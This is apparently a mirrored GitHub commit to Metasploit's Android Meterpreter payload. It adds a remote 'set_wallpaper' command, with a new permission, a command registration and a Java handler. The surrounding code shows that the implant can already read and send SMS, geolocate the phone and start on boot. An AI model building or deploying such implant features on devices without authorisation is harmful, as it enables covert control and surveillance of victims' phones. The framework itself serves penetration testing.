mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-26 17:41:08 +01:00
android set wallpaper
This commit is contained in:
parent
e86ecf616d
commit
ee1eed2abc
@ -25,6 +25,7 @@
|
||||
<uses-permission android:name="android.permission.READ_SMS" />
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
|
||||
<uses-permission android:name="android.permission.SET_WALLPAPER" />
|
||||
|
||||
<application
|
||||
android:label="@string/app_name" >
|
||||
|
@ -12,6 +12,7 @@ import com.metasploit.meterpreter.android.dump_sms_android;
|
||||
import com.metasploit.meterpreter.android.geolocate_android;
|
||||
import com.metasploit.meterpreter.android.interval_collect;
|
||||
import com.metasploit.meterpreter.android.send_sms_android;
|
||||
import com.metasploit.meterpreter.android.set_wallpaper_android;
|
||||
import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
|
||||
import com.metasploit.meterpreter.android.stdapi_sys_config_getuid;
|
||||
import com.metasploit.meterpreter.android.stdapi_sys_config_sysinfo_android;
|
||||
@ -161,6 +162,7 @@ public class AndroidMeterpreter extends Meterpreter {
|
||||
mgr.registerCommand("wlan_geolocate", wlan_geolocate.class);
|
||||
mgr.registerCommand("interval_collect", interval_collect.class);
|
||||
mgr.registerCommand("activity_start", activity_start_android.class);
|
||||
mgr.registerCommand("set_wallpaper", set_wallpaper_android.class);
|
||||
}
|
||||
return getCommandManager().getNewCommands();
|
||||
}
|
||||
|
@ -0,0 +1,30 @@
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import android.app.WallpaperManager;
|
||||
import android.content.Context;
|
||||
|
||||
import com.metasploit.meterpreter.AndroidMeterpreter;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
|
||||
|
||||
public class set_wallpaper_android implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_WALLPAPER_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 9201);
|
||||
|
||||
@Override
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
final Context context = AndroidMeterpreter.getContext();
|
||||
if (context == null) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
WallpaperManager wallpaperManager = WallpaperManager.getInstance(context);
|
||||
byte[] wallpaper = request.getRawValue(TLV_TYPE_WALLPAPER_DATA);
|
||||
wallpaperManager.setStream(new ByteArrayInputStream(wallpaper));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue
Block a user